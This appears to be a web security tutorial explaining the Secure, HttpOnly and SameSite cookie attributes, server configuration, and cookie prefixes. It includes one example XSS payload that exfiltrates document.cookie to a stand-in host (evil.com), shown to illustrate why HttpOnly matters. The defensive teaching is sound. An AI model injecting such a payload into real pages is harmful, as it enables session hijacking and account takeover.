Cookies carry some of the most sensitive data in web applications: session tokens, authentication credentials, and user preferences. A misconfigured cookie is a direct path to session hijacking, cross-site request forgery (CSRF), and data theft. Three attributes — Secure, HttpOnly, and SameSite — are your primary defenses.
This article explains each attribute in depth, shows how to set them correctly, and covers modern browser defaults. Cookie security is a critical part of the overall picture described in our complete security headers guide.
A cookie marked Secure is only sent over HTTPS connections. Without this flag, a cookie set on https://example.com will also be sent if the user visits http://example.com, which means it can be intercepted by anyone on the network path.
Set-Cookie: session=abc123; SecureThis is non-negotiable for any cookie containing authentication data. If your site uses HSTS, the browser will never make an HTTP request in the first place, but the Secure flag is still important as a defense-in-depth measure.
A cookie marked HttpOnly cannot be accessed by JavaScript via document.cookie, the Cookie Store API, or any other client-side mechanism. It is only sent in HTTP requests.
Set-Cookie: session=abc123; HttpOnlyThis is your primary defense against XSS-based session theft. Even if an attacker finds an XSS vulnerability and executes JavaScript on your page, they cannot read the session cookie. Without HttpOnly, a single XSS flaw often means full account takeover via:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>Set HttpOnly on every cookie that does not need to be read by client-side JavaScript. Session cookies, authentication tokens, and CSRF tokens should always be HttpOnly.
SameSite controls whether a cookie is sent on cross-site requests. It is the primary browser-side defense against CSRF attacks. Three values are available:
The cookie is never sent on any cross-site request, including navigations. If a user clicks a link to your site from an email or another website, the cookie is not sent on that initial request. This is the most secure setting but can cause usability issues — for example, a user clicking a link to your site from their email will arrive logged out.
The cookie is sent on top-level navigations (clicking a link) but not on cross-site subrequests (images, iframes, POST forms). This is the default in modern Chrome and Firefox, and it provides strong CSRF protection while maintaining good usability.
The cookie is sent on all cross-site requests. This is required for legitimate cross-site use cases like embedded payment forms or single sign-on. Cookies with SameSite=None must also have the Secure flag; browsers reject SameSite=None cookies without Secure.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600This cookie:
Secure).HttpOnly).SameSite=Lax).Path=/).Max-Age=3600).Nginx does not set application cookies directly, but you can modify cookies set by upstream applications using proxy_cookie_flags (Nginx 1.19.3+):
proxy_cookie_flags ~ secure httponly samesite=lax;The ~ applies the flags to all cookies. For older Nginx versions, use proxy_cookie_path with a regex replacement to append flags.
Apache can modify cookies using mod_headers:
Header always edit Set-Cookie ^(.*)$ "$1; Secure; HttpOnly; SameSite=Lax"This appends the attributes to every Set-Cookie header. Be careful not to double-add attributes if the application already sets them.
Modern browsers support cookie name prefixes that enforce additional constraints:
__Secure- — the cookie must have the Secure flag and be set over HTTPS.__Host- — the cookie must have Secure, must not have a Domain attribute (so it is host-only), and must have Path=/. This is the strongest option.Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/The __Host- prefix prevents subdomain attacks where a compromised subdomain could set a cookie for the parent domain.
Secure on HTTPS sites. Always set it, even if HSTS is active.HttpOnly on cookies that JavaScript needs. User preference cookies (theme, language) that are read by front-end code should not be HttpOnly. But keep them separate from session cookies.SameSite=None without Secure. Modern browsers reject this combination.Domain attribute. Setting Domain=.example.com makes the cookie accessible to every subdomain, increasing the attack surface.Use our cookie security testing tool to automatically check the attributes of your site's cookies. You can also inspect cookies in browser DevTools under the Application (Chrome) or Storage (Firefox) tab.
Cookie security works hand in hand with other security headers. Combine it with HSTS to ensure HTTPS is enforced, a strong Content Security Policy to prevent XSS, and clickjacking protection for a comprehensive defense. For the full overview, see our security headers guide.